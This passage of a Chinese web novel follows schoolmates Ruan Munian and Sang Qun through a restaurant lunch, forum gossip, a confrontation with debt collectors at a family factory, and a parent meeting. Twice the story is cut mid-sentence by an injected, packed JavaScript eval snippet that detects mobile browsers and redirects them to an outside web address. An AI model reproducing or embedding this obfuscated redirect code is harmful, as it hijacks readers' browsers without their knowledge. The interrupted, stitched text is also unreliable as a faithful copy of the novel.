阮牧年跟着她走进去,也说:“姐姐辛苦了。” 17桌是双人座,两张单人小沙发中间放着一张方形木桌,靠窗,周围还算安静。 阮牧年很少坐单人座,毕竟他跟桑群出去都喜欢霸占四人座。 窗外日头很大,手边绳子一拉,百叶窗就遮住了耀眼的阳光。 阮牧年喟叹:“你表姐留了个很好的位置啊。” “当然啦,”程抒晴告诉他,“这种走后门的用餐体验最舒适了。” 两人很早之前就确认了套餐,扫码下单后只需要坐着等餐就可以了。 程抒晴问:“你有什么想吃的水果吗,一起去盛点?” 阮牧年没太明白,但先点了头:“嗯。” 原来这家西餐厅配带自助餐食,水果甜品都很丰富。 程抒晴轻车熟路地流连在几盘水果附近,小碗很快装满。 “我之前去过的一家餐厅,他们还提供自调四果汤,”程抒晴夹着西瓜块说,“里面那个酸奶冻超级好吃。” 阮牧年难得不知道说点什么,只应和道:“是嘛。” “给你推荐这个!这家店的独家沙拉酱,”程抒晴眼睛一亮,快步走到一个小台旁边,“跟普通的沙拉酱很不一样,你可以尝尝。” 阮牧年:“哦好。” 他学着程抒晴的样子挤了一点到碗里的水果上。 水果配沙拉。 他一直觉得这种吃法比较轻奢。 绕了一大圈才回到座位上,程抒晴对美食很有见解,一直在给他介绍各种食物的口味和特色。 在这一点上,阮牧年觉得她跟她表姐真是不相上下。 好会说。 终于停下来吃了两口水果,程抒晴安静了一会儿,咬着叉子问他:“牧年,你是不是不怎么吃西餐啊?” “嗯?”阮牧年正在品味这个据说超绝的沙拉酱,“啊,确实不太经常。” 其实是第一次来。 出门前他特意查了一下是不是左手拿叉,右手拿刀。 在早些年的理念里,西餐一直是美食里非常昂贵的存在,一顿动辄上百块,虽然高级但是奢侈。 他第一次知道这种店的时候,是幼儿园某次郊游,大巴车在一家新开的牛排店门口等红绿灯。 小桑群坐在他旁边,见他盯着窗外的店面好奇,告诉他那是一家牛排店,味道很好吃哦。 “牛排是什么?”年年问。 小桑群:“牛排就是……呃,牛的某块肉吧。上周爸爸带我和妈妈去吃了,那里面非常高级,还有人给你弹钢琴听呢。” “哇,”年年趴在窗边惊叹,“那一定很贵吧。” “还好吧,我爸爸说偶尔去一次也是可以的,”小桑群说,“年年要是想吃的话,下次跟我们一起去吃。” “唔,”年年看着那家华丽的高级餐厅,偷偷咽了咽口水,“那、那下次吧。” 说着下次,其实没人提起,这事就被抛之脑后了。 再后来,桑群家破产,他的生活费被舅妈掌控着,就算想起这件事,也没有说出口的理由。 中考后,生活费开始打到他自己的账户上,而他已经决定要摆脱舅妈一家,一直在攒钱准备在学校附近租房。 直到上次跟桑群去吃酸菜鱼,这个念头才重新冒出来。 但他没敢跟桑群提。 只是没想到自己还有机会圆这个梦。 “西餐确实是我不怎么涉及的领域,”阮牧年笑了笑,说,“我在家里一般做的都是家常菜。” 程抒晴顺势问起他做饭相关,回到熟悉的领域,阮牧年逐渐找回平常聊天的感觉。 主食很快端上来,吃了一会儿,程抒晴用叉子挑了挑:“啊,这洋葱怎么还掉丝了?” 阮牧年看了一眼,说:“有点像维维安尼曲线。” 程抒晴沉默了两秒:“……我还莫比乌斯环呢。” “如果平放着的话,那确实是,”阮牧年指出,“你都用叉子把它挑起来了。” 程抒晴看了他一眼,把洋葱拨到一边:“牧年,你真的……” 阮牧年:“嗯?” 她叹了口气:“你刚才那话也太直男了。一般人不应该先惊讶洋葱丝为什么长那样吗?” 阮牧年无辜:“可它确实很像啊。” 程抒晴说:“难道你对象跟你说月色真美,你要告诉她月球绕地球遵循开普勒第一定律吗?” 阮牧年眨了眨眼:“那倒不会。” 程抒晴刚要松一口气,就听他说:“我会先纠正月球本身并不是发光体,所谓月光其实来源于太阳。” “……” 程抒晴狠狠嚼了两口嘴里的肉。 “是我错看你了,”她咽下去后失望地说,“我还以为你至少有点浪漫细胞。” 阮牧年笑了两声:“人不可貌相呀,我确实不太会说什么浪漫话……唔,我倒是想起个关于月光的浪漫说法。” 程抒晴:“是什么?” “他说:‘月光之所以温柔,既是为了抚平灼日残留的燥热,也是为了在拂晓到来之前给行人照亮前路’。”阮牧年慢慢地复述道。 “嗯……像是哲理一样,”程抒晴品了品,“谁说的啊?” “桑群。” “哦……等等,谁?!” 面对程抒晴瞪圆的眼睛,阮牧年笑了笑:“没想到吧?所以我说人不可貌相啊。” “不是……”程抒晴缓了一会儿,目光逐渐变得意味深长,“嘶,你在哪儿听他说的?” 阮牧年道:“在他上周写的作文里啊。” 程抒晴:“……” 她低着头嘀咕了几句什么。 阮牧年忽然四下看了看,微微伏低身子,声音也莫名压低:“……打乱你的计划了?” 程抒晴还陷在纠结中,没察觉他的问话有些奇怪,只说:“没,我就是……唉,好吧确实有点超乎意料了。” “按照你原来的想法也没关系,”阮牧年轻声说,“晴天老师。” “你懂什么啊,”程抒晴还在嘀咕,“我大纲都……诶等等等等,你叫我什么???” 阮牧年冲她眨了眨眼睛:“没什么呀。” 叉子从手里滑落,程抒晴僵硬地坐在原地,整个人有些裂开。 “啊,是我太冒犯了?”阮牧年轻咳一声,“那我也可以当作不知道。” 程抒晴:“……” 这是重点吗? 她缓缓捂住不自觉泛红的脸,语言有些混乱:“不是,你怎么……我天不应该啊……你、你从哪儿知道的?” “我上一秒刚遗忘。”阮牧年道。 程抒晴趴在桌上,从手指缝里露出一只眼睛,低声道:“你快说。” “好吧,”阮牧年也低下头,小声配合她,“其实是你之前在动态发过一张同人约稿,忘记屏蔽我了。” 程抒晴狡辩:“约稿也不能证明我就是……吧。” 阮牧年叹了口气:“你也发帖了啊。” 程抒晴:“……” 竟是旺盛的分享欲害死了自己。 她又捂了会儿脸,忽然意识到什么,猛地抬头:“等等,你为什么会关注这些……难道你们?” 阮牧年:“不是。” 语速有些快,潜意识里好像在急于否定什么。 程抒晴狐疑地看着他:“真的?” “真的呀,”阮牧年笑了笑,心里不知为何有些烦躁,“论坛上哪儿有什么真事,他们还说我和你是一对呢。” 程抒晴好像还是不太相信:“那你怎么……” “我也不是那种课余时间都用来读书的呆子呀,”阮牧年支着额角,“就是觉得很有意思啊,你写的挺好的。” “谢谢啊,”程抒晴看上去还是有些恍惚,“你这、太突然了,我有点混乱,这真的是比删我大纲还让我难搞……” “那还是别了,”阮牧年说,“你都断更三天了。” 程抒晴:“……” 她愤恨道:“我都断网了你怎么还线下催更啊。” “啊抱歉,”阮牧年双手合十真挚道,“那我还是线上催吧。” “……” 反正就是不放过她呗。 程抒晴捂着眼靠在窗边:“不行了,你让我缓缓,怎么出来吃个饭把马甲吃没了……” 阮牧年刚想安慰她几句,桌边的手机震动了一下。 【阿君羊:跑哪儿去了】 【Ruann:去图书馆啊,昨晚没跟你说吗?】 【阿君羊:中午吃的什么】 【Ruann:在这附近找了家餐馆】 【Ruann:你饿啦?】 阿君羊没回话。 桑群正盯着手机屏幕,面色有些发沉。 不仅是对阮牧年的聊天框,还有另一个不断冒红点的群聊。 早上他去工厂帮了点忙,中午回来才想起阮牧年今天中午不在家的事,正在发愁午饭,忽然消息页面蹦出好几条新消息。 他点进去一看,是之前接力赛拉的群,除了通知练习时间和叫人,基本没人说话,运动会后更是沉寂下去,他也就没管。 有人往里面发了张图片。 【吃瓜前线:我靠你们看我吃饭遇到了谁!】 【吃瓜前线:牧年居然和抒晴在西餐厅私会!!!】 【木子:什么???】 【将将将璋:什么???】 什么? 桑群皱着眉点开那张照片。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356329|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍摄的角度有点刁钻,估计是不想让人看到,窗边的双人座里,少年和少女相谈甚欢,脸上都带着笑。 那张侧脸……烧成灰他都能认出来。 真的是阮牧年。 所以这家伙,说着是去图书馆学习,但其实偷偷约了别人一起?还共进午餐? 群里还在激烈讨论,一条条飞快刷过,看得桑群心烦。 【吃瓜前线:我的天我的天我的天,我打字的手都在颤抖】 【吃瓜前线:你们知道吗?刚才牧年不知道说了什么,程抒晴居然脸红还捂起了脸!他俩甚至说话都是身体前倾凑近说的!】 【将将将璋:我靠你这瓜是真的实啊】 【木子:我的女神呜呜,不行你越说我怎么越觉得他俩更般配了】 【吃瓜前线:我一个大老爷们都看脸红了,反正我就把话放这了,他俩绝对有猫腻,不是在谈就是暧昧期!】 手机啪地一下掉到沙发上。 唇缝抿得死紧,桑群面无表情地把手机捞起来,拿在手里才发觉自己的手指有些发颤。 说不定是误会。 又或者两人只是偶然碰到拼个桌。 ……这理由他自己都不信。 尽管说着要做阮牧年的后路,当这一天真的到来时,他才发现自己根本没有做好准备。 不舍得。 不乐意。 不想阮牧年的目光从此会黏着另一个人,不想阮牧年的可爱从此不再只是他独享,不想阮牧年的种种从此跟他止步于兄弟。 桑群心烦意乱地坐在沙发上,盯着茶几上的东西发呆。 桌面贴着一张便签,上面是阮牧年熟悉的字迹。 【烧麦温在锅里啦——年年】 指尖抚过便签纸,能感觉到字迹的深浅,眼前出现阮牧年写下这些的画面。 原来他比自己想的还要贪心。 原来他比自己想的……还要喜欢阮牧年。 忍不住发消息问他,结果却得到了挑不出错的答案。 阮牧年在撒谎吗? 阮牧年有骗他吗? 他不知道。 他现在……没有心思去辨别。 呆坐了不知多久,他深吸一口气,拨通了阮牧年的电话。 铃声响起来的时候,阮牧年正在跟程抒晴讨论《同桌的他》的情节。 手机显示AJY来电。 “啊,”阮牧年拿起手机,抱歉地看了程抒晴一眼,“我哥的电话,我去接一下。” 程抒晴点头:“去吧。” 电话接通,阮牧年问:“咋啦?” 声音听着还挺正常,桑群垂着眼,尽量维持平常的声线:“你在哪里?” “我在吃午饭啊,怎么啦?”阮牧年说,“哦对了,你中午吃的什么呀?” 桑群默了一下:“还不知道。” “还没吃吗?”阮牧年以为他没辙吃饭才打来电话,开始指导,“我给你推荐几家学校附近的餐馆吧,有些我们去过,有些没去过但也还不错……” 听到了阮牧年的声音,还是跟平常一样轻快有活力,桑群一下子不知道自己为什么要打这个电话了。 质问他是不是偷偷跟别人吃饭吗? 还是企图从杂音里找出第二者存在的证据,验实那些传闻,然后……然后做什么? 无非就两种可能,是真的或者是假的。 假的,他就可以继续心安理得地做阮牧年的兄弟,继续跟他住在一起,继续在日常中跟他有偶尔亲昵的接触。 如果是真的……他能做什么? 好像什么也做不了。 要是阮牧年真的喜欢某个人,他怎么会舍得让阮牧年难过,除了支持还能怎么样。 眼睁睁看着他和别人渐行渐远,然后放任痛苦与酸涩在心底泛滥。 出神的片刻,阮牧年的声音渐渐消失。 电话里静了好一会儿,阮牧年疑惑地喊了他两声:“桑群?你还在听吗?” “嗯,”桑群的声音有些低沉,“在听。” “想好吃什么了嘛?”阮牧年问。 桑群却说:“你一个人?” 阮牧年顿了顿:“对呀。” 桑群抿了抿唇:“几点回来?” “啊,可能会晚一些,你要是等不及可以自己先吃晚饭。” “你下午去哪儿?” “图书馆啊。” “关门时间不是固定的吗,为什么会晚一些。” “家里没食材了呀,我打算去超市采购一些。” “……哦。” 阮牧年笑了笑:“桑桑,你问的话好像查岗哦。” 桑群没接话,只说:“早点回来,天黑不安全。” 阮牧年应道:“知道啦。” 电话挂断,阮牧年的声音彻底消失。 对方接下来会去干什么? 回到座位边继续跟约会对象聊天,还是跟人有说有笑地离开餐厅,在图书馆同一张桌边学习,然后傍晚一起逛超市? 听起来真是一个有滋有味的周末。 桑群偏过头看向窗台,铁杆上还挂着阮牧年的校服,一如既往的发皱,在风中扬起衣角。 空荡荡的出租屋安静至极,只有窗外偶尔刮过的北风会发出声响。 桑群躺靠在沙发上,忽然对一切都兴致阑珊。 原来这就是暗恋的滋味。 像被困在幽邃无光的深海里。 孑然孤独又牵肠挂肚。 52. 52 周末,一条匿名爆料帖在论坛热度飙升,很快就挂上了首页的热榜。 无数人参与了帖子的讨论,其规模不亚于当年的龙虎之争。 回校后,也有人聚在一起私下议论。 阮牧年来到教室后的五分钟内,似有若无看过来的视线无处不在,前面的刘嘉隔三差五就要回头看一眼,然后再假装很忙地转回去。 在刘嘉第五次回头假装翻书包实则偷看他的时候,阮牧年忍无可忍地放下手里的语文课本:“我脸上是写了期中考答案吗?” 今天是期中考的第一天,第一门语文,九点半才开考,大家还坐在自己的班级里抓紧复习。 刘嘉被抓了个现行,又实在按耐不住心里的好奇,于是趴在椅背上掩着嘴问:“牧年啊,我就是实在忍不住……你、你周末看论坛了没?” 论坛怎么了,阮牧年道:“没,发生什么事了?” 刘嘉还想说什么,余光瞥见后门走廊外巡视年段的主任,缩了一下脑袋:“呃我考完再跟你说吧。” 说完赶紧转回身去。 到底什么啊。 阮牧年莫名其妙。 去考场的时候,阮牧年在走廊上碰见程抒晴,目光对上的那一刻刚想打声招呼,就见对方慌忙移开了眼神,假装没看见走远了。 什么啊。 阮牧年皱眉,学校里的人是染上什么奇怪的模因病毒吗? 唯一正常的估计就是同桌了。 一如既往地睡觉。 ……不,好像也不是太正常。 阮牧年偏过头去,如今已经考了四科,科科备考科科睡,自习课趴书下课趴桌,桑某的上下眼皮距离就没超过5毫米。 这么困的吗? 阮牧年回忆了一下,这几天要考试,他们睡觉时间并不晚,甚至上周六他从图书馆回来的晚上,桑群也很早就去睡了。 不可能是睡不够,难道他最近又开始半夜惊醒吗? 又一节下课铃响起,眼见同桌就要从书页里倒进臂弯,阮牧年赶紧伸手拦了一下。 刚抓住桑群的胳膊,就被对方挣了一下。 阮牧年一怔,就听他压着声音,掀起一边眼皮问:“干什么。” “你别睡了,”阮牧年说,“还有四十分钟就要进考场了,到时候醒不了神就……” “不会。”桑群打断他。 没等他反驳,人就倒下去了。 阮牧年:“……” 他收回前面的话,桑群也很不正常。 到底发生什么了? 期中考最后一科结束,阮牧年一回教室就把刘嘉堵住了。 “说说看吧。”他垂眼看着前桌道。 “呃,牧年,你等等,我拉个口齿更伶俐的人给你梳理一下……” 刘嘉叫来了学委。 学委推了推眼镜,还在状况之外:“找我什么事?” “周末论坛怎么了?”阮牧年问。 “哦,你说这事儿啊……”学委立刻换上一副意味深长的表情,“说来话长……” “那就长话短说。”阮牧年没功夫跟他打太极。 等搞清楚了原因,他还要琢磨桑群这两天的异状怎么回事,是不是需要调理…… “简单来说就是你跟程抒晴的绯闻被彻底坐实了。”学委概括道。 阮牧年拧眉:“什么?” “要听简略版过程吗?”学委贴心问。 阮牧年:“……你说。” “事情要追溯到那位神秘的烤年糕同学为你投票的时候……”学委清了清嗓子。 那位昙花一现的烤年糕同学投下打翻天平的一票就消失不见,论坛上曾流传了支持度较高的三种说法。 而可信度最高的便是桑群追爱女神不得,心生嫉妒买号投票抹黑阮牧年这一观点。 那之后不久,就传出了阮某和桑某争先恐后送女神去医务室之事,更坐实了他俩是情敌的言论。 据知情人士透露,运动会后期,程抒晴杵着拐也要来学校,表面上是要为班级同学加油助威,实则她出现的地方基本都有阮牧年。 有人便推测,医务室是一道真爱分水岭,毫无疑问女神在龙虎之间选择了阮牧年。 又有人声称,前不久的物理竞赛中,阮牧年发现程抒晴因为学业考虑并没有参赛而是去了另一个竞赛后失魂落魄,竞赛前夜失眠,久久未睡。 而这些线索都为周末那条爆料帖做了铺垫。 那个帖子并没有什么惊心动魄的文字,只是放了一连串图片。 阮某与程某在某西餐厅约会实录。 至此,二中论坛彻底炸了。 听完资深网络冲浪达人学委的精准转述,阮牧年陷入了沉默。 不得不说网络舆论真可怕。 要不是他是当事人,差点就信了。 刘嘉在一旁啧啧咂舌:“竞赛那段我居然不知道,还有这事啊。学委,不愧是你。” 学委推了推眼镜:“毕竟干了这么久管理员,什么帖子没见过。还有不少言辞激烈、恶意抹黑的都被我删了。” 但是不对。 阮牧年还是皱着眉,听了这么一大圈下来,他并没有找到任何跟桑群状态不好关联的线索。 他还以为桑群的异状至少会跟刘嘉说的事有关。 看来还是得回家亲自问问他。 见他要走,学委拦了一下。 阮牧年看向他,眼神疑惑中带着些许不耐。 “这几天期中考大家可能比较收敛,但你也能感觉到异样吧?”学委说,“不管传闻是真是假,对你有意见、想找你麻烦的人不在少数,最近要小心点。” 阮牧年点头:“知道了,多谢。” 学委的话不是危言耸听,刚走到临近校门的小道上,阮牧年就被几个女生堵住了。 为首的那个面容姣好,却蹙着眉眼尾泛红,一副被始乱终弃的凄惨模样。 她拦住阮牧年质问道:“牧年,你真的跟程抒晴在一起了吗?她有什么好的?不就是一个背地里思想龌龊的同人女……” 她们到底谁啊。 阮牧年皱着眉后退了一步,侧身想要绕开她们。 “抱歉,我有急事。”他冷声道。 说完才发觉自己的语气跟桑群平日里的风格很像。 趁女生愣神的功夫,阮牧年赶紧跑掉了。 担心有人跟上来,他特地在巷子里绕了几圈才回到家门前。 习惯性去按门把手,却没按动。 阮牧年一愣,锁了? 一般桑群提前回来的情况下,屋门是不会反锁的,他一按就开,有时甚至会开着一条缝等他。 桑群习惯出考场就回家,不像他还会回教室收拾一下晚上学习的课本,这会儿应该就在家里了啊。 掏出钥匙打开家门,里面漆黑一片,安静无比。 走到茶几边,他通常喜欢贴便签的地方贴着一张新便签。 【工厂有点事,我回去帮忙,晚饭你自己好好吃,不要落下——阿君羊】 阮牧年捏着这张便签看了半晌,纸边被他捻出细纹。 他忽然就明白了。 桑群在躲着他。 这些天总是睡不醒也是,或许有部分原因是真的困,更多的应该是想要避开跟他的交谈。 为什么? 难道真像论坛所说的那样,桑群喜欢程抒晴,对他横刀夺爱心生不满? 想什么呢,之前运动会的时候很明显桑群跟程抒晴完全不熟。 再说了,别人半信半疑,桑群肯定知道他跟程抒晴没什么…… 等下。 脑海中忽然抓住了某条线索,周六吃饭时桑群给他打过电话,问他是不是一个人。 而他说是。 “……” 现在想想,桑群为什么会问出这样的问题?以前自己去图书馆他可从来没关心过自己是不是一个人。 或许在打电话之前,桑群就从某些渠道得知了他并非孤身,可能是论坛,也可能是他加过的体委或者其他什么同学……总之,他周末偷偷跟人出去吃饭还瞒着桑群这件事早就被对方知道了。 阮牧年的眉头就没松开过,所以桑群是误以为自己有了恋爱对象,在避嫌吗? 心里忽然咯噔一声,某种难以言喻的情绪从神经末梢升起,带着一股极强的窒息感,混杂抑郁与烦闷,恐惧几乎要破壳而出,他下意识止住了这种思维发散。 不,他跟桑群有什么需要避嫌的。 或许只是桑群想要给自己留点私人空间而已。 阮牧年翻出手机想跟桑群解释清楚,刚点开消息页面就看见新红点。 还在不断增加。 【小晴天:牧年,论坛的事你听说了吧】 【小晴天:对不起,是我没选好地点,还连累你陷入舆论】 【小晴天:这件事闹得有点大了,虽然我心里很过意不去,但我有件事想拜托你】 【小晴天:牧年,请你找个安静的地方,我待会儿会给你打电话】 【小晴天:拜托了,这件事我现在只敢找你帮忙】 程抒晴很少这么严肃地说话,到底是出什么事了? 阮牧年回复了她的消息,很快接通了拨过来的电话。 “砰——” 老旧的不锈钢牌匾瞬间凹陷下去,地上的尘灰被蹭起,木屑横飞。 桑群偏头躲过一块飞过来的木屑,眯了眯眼。 身后女人惊恐的尖叫响起:“你们干什么!” 拿着木棍的人面色不善,上前一步:“我们要干什么?欠债还钱,天经地义!再不交钱,信不信老子把你这破工厂全砸了!” 桑群冷声:“你敢。” “哟,小子,毛都没长齐敢跟你老子这么说话……操!” 那人正拿着木棍指着桑群放狠话,忽然手里的木棍脱手,手肘被人狠狠一折,没来得及反应膝弯就被踹到地上。 桑群横着夺来的木棍抵在那人背上,压着他,声音阴沉嘶哑:“再说一遍,你是我什么。” “操,老子骂几句怎么了?妈的跟你那个要钱没有穷讲究贼多的死爹一个样……” 桑群眼神一暗,手腕抬了一下,似乎就要一木棍砸这人脑袋上。 “桑群!”桑母在一众女工前喊了他一声。 桑群抓着木棍的手指紧了紧,还是压制住了冲动,一脚把这人踹回了那群讨债的人中间,拎着木棍退到桑母身边。 “几位大哥,大家都冷静点,”桑母提高了声音,手按在桑群肩上,“这钱又不是不还,何必这样大动干戈,还伤了和气……” “嘶,”那人揉着自己的胳膊,吃痛但没敢表露出来,怕毁了面上凶神恶煞的表情,“不是不还,那你倒是还啊!” “黄哥,你也知道我上个月住了院,雇主的医药费补贴还没到,”桑母尽量缓和语气跟他们商量,“拿到这笔钱,我就能还上十月的债,你们再耐心等两天……” “等等等,等到猴年马月也不见你们还上!”黄哥一脸不耐烦,“这都十年了,就你家的债还没还清,每个月还那么一点点,你耗得起我还等不起呢!再这样下去,我可要涨你们利息了!” 桑母的表情瞬间有些难看:“现在的利息已经是……” “我今儿就把话撂这了,”黄哥从小弟手里接过一根新的铁棍,往地上狠狠砸了一下,“要么,你今天就把上个月的债还上;要么,就涨利息,我可以宽限你到下个月一起还。” “听说你这儿子明年就要高三?嚯,不得了,没几个钱还能养出高考生啊,”黄哥笑得一脸不怀好意,“今儿不把这事解决了,我就把你儿子砸成植物人,到时候可别哭着求我们借你医药费!” 桑母刚要说话,就听自家儿子冷静的声音响起。 “故意伤害他人身体致人重伤的,处三年以上十年以下有期徒刑,”桑群面色冷沉地看着对面,“植物人属于严重残疾,应处十年以上有期徒刑、无期徒刑以及……” 黄哥的脸色有些僵硬,语速很快地打断他的话:“滚滚滚,学几个字刑法了不起啊?反正只要打不死你,哥几个最多蹲几天拘留所。” 桑群又说:“我是未成年。” 黄哥:“……” 后面有小弟按耐不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356330|199683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“跟你们说话真费劲,就一句话,这钱到底还不还了?” 桑母还想再争取两句,桑群按住她的手,摇了摇头。 “我真的全拿出来了,上个月的全部收入,一点没攒,就差那笔住院补贴,”桑母压低声音说,“剩下的是我这些年一点点攒下的,不能动。” “这里是工厂,他们闹到这里,大家都干不了活,”桑群拍了拍她的手,“僵持下去损失最大的只会是我们。妈,交给我解决。” “你怎么解决你个小孩子……喂桑群!”桑群推开她的手往前迈了一步,桑母压着声音喊他。 桑群没回头,拎着木棍走到两方人中间,声音不高不低:“再闹下去我们都没好处,你们先回去,我待会儿就把钱打过去。” “不行,”黄哥说,“谁知道你们会不会出尔反尔?我现在就要看着你们把钱打过来!” 桑群平静的目光注视着他。 “别、别想赖账。”黄哥被他看得发怵,下意识抓紧了手里的铁棍。 桑群没说话,过了几秒才开口:“行。” 他低头拿出手机,现场操作。 黄哥半信半疑地看了他一眼,也掏出手机检查收款信息。 “打过去了。”桑群收起手机。 黄哥划拉着手机没吭声。 有小弟低声问了句:“大哥,那我们……?” “哼,这次算你们识相,”黄哥熄屏把手机丢给小弟,用铁棍指了指桑群,“下次再磨磨蹭蹭不还钱,我砸的就不只是这个牌子了。” 桑群一木棍拨开对面的铁棍:“别指人。” “啧。” 估计是想起被这小孩几个动作压在地上毫无还手之力的难堪场面,黄哥罕见地没有继续为难,趾高气昂地带着一众小弟扬长而去。 身后,桑母轻声细语地安抚女工们的情绪,让她们回去安心干活,今天早点下班。 桑群把木棍丢到地上,食指内侧有些痛,他低头一看,原来是一根木刺扎进皮肤里。 面无表情地拔掉木刺,遣散完女工的桑母走近他:“我们去外面说。” 桑群跟着他妈走到工厂外的大树下。 刚一站住,桑母就直接发问:“你哪儿来的钱?” 桑群抿了抿唇,没说话。 “差的钱可不少,上了千,”桑母皱着眉看他,语气已经有些不耐烦,“你一个学生,哪儿来的钱?” 桑群别过眼:“不是我的钱。” 桑母愣了一下:“你……” “我从……这个月年年分担的那部分房租里拿的,”桑群低声说,“还没来得及交给房东。” “你、你!”桑母被他气得不轻,“你拿谁的钱不好……不是,我是说你偏偏拿年年的钱!他这些年借给你的钱还少吗?!” 桑群没说话。 “这次借一点,那次借一点,人家是自愿的也就算了,”桑母看着他,“你刚刚可是没经过他同意就拿去用了!” “我之后会跟他说的。”桑群垂眼。 “之后?哪个之后?”桑母冷笑,“等你发现还不上了,再写借条敷衍过去吗?桑群,金钱交易没有你们想的那么天真……” “那我能怎么办?”桑群压着眉反问,“不还钱,他们都砸到工厂来了。下一步是不是要砸设备、砸场地,甚至砸人?你是工厂的负责人,这个工厂出了任何事都得你担着,可这些后果你承担得起吗?” 桑母顿了顿:“这不是你一个小孩子应该考虑的……” “我没几个月就十八了!”桑群压着嗓子,看着他妈,“我已经不是小孩了,说句难听的,你现在已经不能全须全尾地护住我了。我总要接触这些,工厂是我们这些年撑到现在的根本,甚至有可能我还会继承它……” “呸呸呸,”桑母打断他的话,“这种烂摊子接什么接?你敢继承我衣钵,我撵着你打出三条街去。” 桑群皱眉:“反正我就这么个意思。” 桑母:“……嗯。” “别用年纪小把我推出去,这是我们的家庭事务。”桑群严肃地说。 桑母没忍住笑了一声:“都多久了,还能用上家庭事务这个词啊。” “这是每个家庭成员应有的权利,”桑群复述着记忆里的规则,“我们都有权参与家庭事务的讨论。” 桑母看着他,眼神有些闪动:“您有何高见?” “听说厂里最近接了一个新单子?” “嗯,批发商,数量还算可观。” “合同签了吗?” “没,下周他们会派个代表过来看衣服质量,到时候再签。” “跟他们说价格有变,”桑群看着他妈说,“叫他们下周过来重新商量。” 桑母愣了一下:“什么?” 桑群直接说结论:“我会帮你谈个新定价。” “你疯了?”桑母看了看周围,还好没人注意到自家儿子这番狂言妄语,“厂里好不容易才接到新的大单子,你懂什么谈判,别到时候给我搅黄了,不成不成。” “我赞成你反对,”桑群说,“平票,就这么干吧。” 桑母:“什么?你是一家之主啊?” 桑群看她:“不然呢。” 桑母:“我早就说过让年纪最小的当一家之主简直是在搞笑……” 桑群:“就算失败了,我也有办法让他们不放弃这个单子,不过是钱多钱少的问题。妈,如果站在这里的只是一个工厂普通职工,你会相信我吗?” 桑母默了一下:“你有什么能力和经验能让我信服?” 桑群说:“我有丰富的商品促销经验以及对服装行业的深度了解,并且我深入钻研过心理学。” 桑母没说话,似乎是在考虑这件事的可行性。 桑群又说:“妈,别把我当小孩。” “你不是小孩谁是小孩,”过了半天,桑母才重新开口,“我下周还要去参加你的家长会呢!” 没有拒绝,那就是同意让他试试了。 桑群说:“你参加的是年年的家长会。” 桑母叹了口气,摸了摸他的脑袋:“是你俩的。” 53. 53 期中考后的第一个周末开家长会,是二中的惯例。 家长会的前一天晚上,桑群和阮牧年难得有了一次交流。 这些天他忙于研究那份合同和工厂的销售方案,每天晚上都很晚回来,而阮牧年也不知为什么,并没有主动联系他。 桑群心想,可能跟最近的绯闻风波有关吧。 那位吃瓜前线既然敢把照片发群里,自然也敢发到论坛上,哪怕闭塞如桑群也听过一耳朵路人对此事的讨论,是考后同学们津津乐道的大新闻。 至于阮牧年本人,可能是有些自暴自弃了,就懒得遮掩,这几天跟程抒晴同进同出的频率比之前高了不少。 桑群尽量让自己把注意力集中到这笔订单上,避免去想跟阮牧年相关的事情,极力忽略心底那点烦闷。 这天晚上,阮牧年难得没有早睡,在沙发上等到他回家。 桑群换了棉拖走过来,开口跟阮牧年说话的时候甚至有些陌生:“明天不是要早起?怎么还不睡。” “桑群,”阮牧年转过来,问,“你妈妈明天要来参加谁的家长会?” 桑群说:“你的。” 阮牧年又问:“那你呢?” 桑群沉默了一下:“……也是她。” 阮牧年看着他,很长时间没有说话。 桑群问:“怎么了?” “让阿姨坐你的位置上吧,”阮牧年的眼眸像是蒙着一层纱,里面的情绪混杂不清,“我妈妈明天会来。” 桑群一怔。 此言不虚,第二天,田女士真的来到了学校。 作为班主任的课代表,阮牧年负责站在前门接待家长,引导他们在名单上签到,分矿泉水,然后交给负责引人入座的班长。 田女士穿着她常穿的白色西装,一贯的干练,混在一堆家长中并不显眼。 阮牧年脸上的笑容僵了僵,略过了招呼,将名单推过去:“请在这上面签到。” 接过矿泉水的时候,田女士问了一句:“你的座位在哪里?” 有坐在前门附近的家长不由侧目,好奇地看着这对似乎不太熟的母子俩。 阮牧年依然笑得客气:“班长会带您入座。” 班长适时走过来:“阿姨您好,请问您的孩子叫什么名字?我带您找位置。” 田女士颔首:“多谢你了,我是阮牧年的家长。” 班长愣了一下。 阮牧年的家长? 可是……她回头看向第二排末尾,那里已经坐着一位气质优雅的女士,也自称是阮牧年的家长。 她边带人过去,边头脑风暴。 难道阮牧年来了两位家长? 田女士看向那位女士旁边的空位,问班长:“是这个?” 班长正不知道怎么解释,就见那位优雅的女士抬起眼,亲切地笑了笑:“哎呀,是牧年妈妈吗?你好你好,不好意思擅自坐了牧年的位置。” 说完,她就起身,将这个位置让了出去。 田女士一头雾水地坐下,还有些在状况外:“你……好?请问你是……” 见两位家长都有位置坐,班长识趣地走开了,桑母坐回了自家儿子的位置,笑容明媚地跟田女士寒暄:“我是桑群的妈妈,这么多年也没机会跟你认识认识,怪可惜的。今天正好,来咱们加个联系方式吧……” 同桌家长过于热情,田女士半推半就地跟她交换了社交账号和姓名,还被她带着参观了一下孩子们的抽屉。 